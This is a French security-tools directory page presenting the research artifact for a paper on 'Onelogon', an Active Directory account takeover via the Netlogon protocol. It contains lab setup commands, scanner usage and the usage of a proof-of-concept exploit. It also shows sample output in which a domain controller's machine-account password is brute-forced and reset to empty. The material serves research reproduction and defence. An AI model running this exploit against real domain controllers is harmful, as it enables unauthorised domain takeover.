Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
onelogon — Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26). | Kitploit
Outils/GitHubGitHub/rub-softsec/onelogon
Vulnerability ScannersVulnerability AnalysisExploitationNetwork SecurityPenetration TestingAuthenticationPapers & Research
GitHubrub-softsec/onelogon

onelogon

Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).

Voir le dépôt
11821il y a 2 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Onelogon : Prendre le contrôle de comptes Active Directory via Netlogon

Ce dépôt contient le code et les données accompagnant notre article Onelogon : Prendre le contrôle de comptes Active Directory via Netlogon (WOOT'26).

  1. Contexte
  2. Comment citer
  3. Structure et installation de l'artefact
  4. Mise en place d'un environnement de test
  5. Recherche de configurations vulnérables
  6. Exploitation
  7. Reproduction des mesures

Contexte

La vulnérabilité décrite dans notre article attaque une faiblesse du correctif cryptographique de 2020 pour la vulnérabilité Zerologon. Les comptes listés dans une stratégie de groupe destinée à permettre la prise en charge de configurations héritées qui ne prennent pas en charge la signature et le scellement Netlogon sont vulnérables à cette attaque. Une description détaillée de la vulnérabilité, de la chaîne d'attaque complète attendue et des mesures d'atténuation possibles se trouve dans l'article.

Comment citer

root@kitploit:~
@inproceedings{woot2026-onelogon,
  title     = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
  author    = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
  booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
  date      = {2026-08},
  editor    = {Bianchi, Antonio and Classen, Jiska},
  location  = {Baltimore, MD, USA},
  publisher = {USENIX Association}
}

Structure et installation de l'artefact

L'artefact consiste en un projet Python poetry pour le scanner et les exploits.

Pour exécuter les scripts fournis avec l'artefact, installez Python (3.12 ou ultérieur) ainsi que poetry (instructions) ou uv (instructions). Par souci de simplicité, nous listons les commandes en supposant que vous utilisez poetry ; si vous choisissez d'utiliser uv, remplacez simplement toute mention de poetry par uv.

Toutes les commandes de ce document doivent être exécutées dans le répertoire racine de l'artefact (là où se trouve ce README).

Si vous utilisez poetry, exécutez poetry install pour installer toutes les dépendances.

Mise en place d'un environnement de test

Pour reproduire les résultats de l'article, vous pouvez configurer un contrôleur de domaine en utilisant une version de Windows Server avec Zerologon corrigé (nous avons vérifié l'exploit contre les versions 2019 et 2025).

Pour configurer le contrôleur de domaine sur une nouvelle installation de Windows Server 2025, exécutez les commandes suivantes :

root@kitploit:~
# Mettre à jour le système et renommer l'ordinateur en « DC »
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart

# Configurer le domaine (en tant que « onelogon.local »)
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"

# Désactiver l'expiration du mot de passe de l'Administrateur pour garder la VM utilisable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true

La vulnérabilité s'applique à tout compte listé dans la DACL de l'objet de stratégie de groupe Domain Controller : Allow vulnerable Netlogon secure channel connections ou dans la clé de registre correspondante :
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList

Vous pouvez configurer manuellement ces paramètres sur le contrôleur de domaine (n'oubliez pas d'exécuter gpupdate /force si vous mettez à jour l'entrée GPO), ou exécuter la commande suivante pour ajouter tous les comptes à la DACL dans la clé de registre :

root@kitploit:~
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
                    -Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
                    -ValueName "VulnerableChannelAllowList" `
                    -Type String `
                    -Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone

Recherche de configurations vulnérables

Pour déterminer quels comptes un contrôleur de domaine liste dans sa VulnerableChannelAllowList, nous fournissons un scanner qui analyse la ruche de registre et le partage de volume SYSVOL du contrôleur de domaine. Notez que l'accès au registre pour cette analyse requiert des privilèges d'administrateur de domaine (l'exploit, bien entendu, n'en requiert pas).

root@kitploit:~
# Utiliser le nom d'utilisateur et le mot de passe spécifiés pour analyser le DC cible.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>

# Spécifier `--help` pour obtenir des instructions d'utilisation supplémentaires.
poetry run scan --help

Un résultat d'analyse positif (des comptes vulnérables existent sur le contrôleur de domaine) reflètera le descripteur de sécurité contenant les comptes vulnérables (dans le langage de définition des descripteurs de sécurité de Microsoft) :

root@kitploit:~
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
    'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
    O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)

Un résultat négatif (le DC cible n'est pas vulnérable) ressemblera plutôt à ceci :

root@kitploit:~
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
    - The system cannot find the file specified.

Exploitation

Pour exécuter l'exploit de preuve de concept contre un contrôleur de domaine cible, sélectionnez d'abord un compte vulnérable. Vous aurez besoin de l'adresse IP du contrôleur de domaine, de son nom d'hôte et du nom du compte vulnérable.

Dans notre configuration d'exemple, le contrôleur de domaine vulnérable s'appelle DC. Son compte d'ordinateur (DC$) est inclus dans la stratégie GPO et est donc vulnérable à Onelogon.

root@kitploit:~
# Exécuter l'attaque meet-in-the-middle (section 4.5 de l'article)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>

# Exécuter la force brute 24 bits avec un compte d'ordinateur (section 4.4 de l'article)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Exécuter la force brute 32 bits (lente) avec un compte d'ordinateur
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Exécuter la force brute 32 bits (très lente) sans compte d'ordinateur
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>
Sortie d'un exploit réussi

À titre d'illustration, nous fournissons la sortie d'une exécution réussie de l'attaque meet-in-the-middle contre un environnement de test :

root@kitploit:~
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
    comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111) 
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup 
[*] Estimated total tries without flushing: 2^16 / 2

[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ:     Took 5.0858272750047036 seconds,
             average time per attempt: 0.00286042028965393909 seconds
[*] TRY:     Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL:     Took 125.08606619200145 seconds,
             average time per attempt: 0.07035211821822354161 seconds
[*] 
[*] TOTAL STATS:
[*] TOTAL:   0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES:   5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.

Reproduction des mesures

Pour reproduire les mesures du tableau 1 de l'article, exécutez les quatre exploits décrits dans la section précédente.

Vous pouvez obtenir le temps d'attaque attendu sans terminer l'attaque complète, ce qui serait prohibitif pour les approches naïves.

La vitesse de la force brute 32 bits qui attend le délai d'expiration est bornée par la période de validité des défis clients. Un cycle complet (dans lequel 100 000 défis peuvent être traités) prend alors 120 s (le délai avant que la liste de défis soit vidée). Le temps d'attaque attendu est donc toujours $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$.

Pour les attaques qui utilisent un compte d'ordinateur (les attaques 32 bits et 24 bits), prenez le temps moyen par tentative $t$ dans la section TOTAL STATS de la sortie. L'attaque 32 bits nécessite en moyenne $2^{31}$ tentatives (pour un temps total attendu de $2^{31}t$). De même, la durée attendue de l'attaque 24 bits est de $2^{23}t$.

Pour l'approche meet-in-the-middle, nous ne pouvons pas tenter toutes les combinaisons possibles de justificatifs clients dans le délai d'expiration de 120 secondes des défis. Au lieu de cela, le temps attendu de l'attaque est déterminé par le nombre de tentatives d'authentification que nous pouvons effectuer dans ce laps de temps. Pour obtenir ce chiffre, prenez le nombre moyen de tentatives par cycle $a$ dans la section TOTAL STATS de la sortie. Comme nous avons besoin en moyenne de $2^{15}$ tentatives d'authentification pour obtenir un taux de réussite de 50 %, le temps d'attaque attendu est simplement $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$

Les durées exactes obtenues dépendront de la configuration matérielle et logicielle exacte.

Télécharger l’outil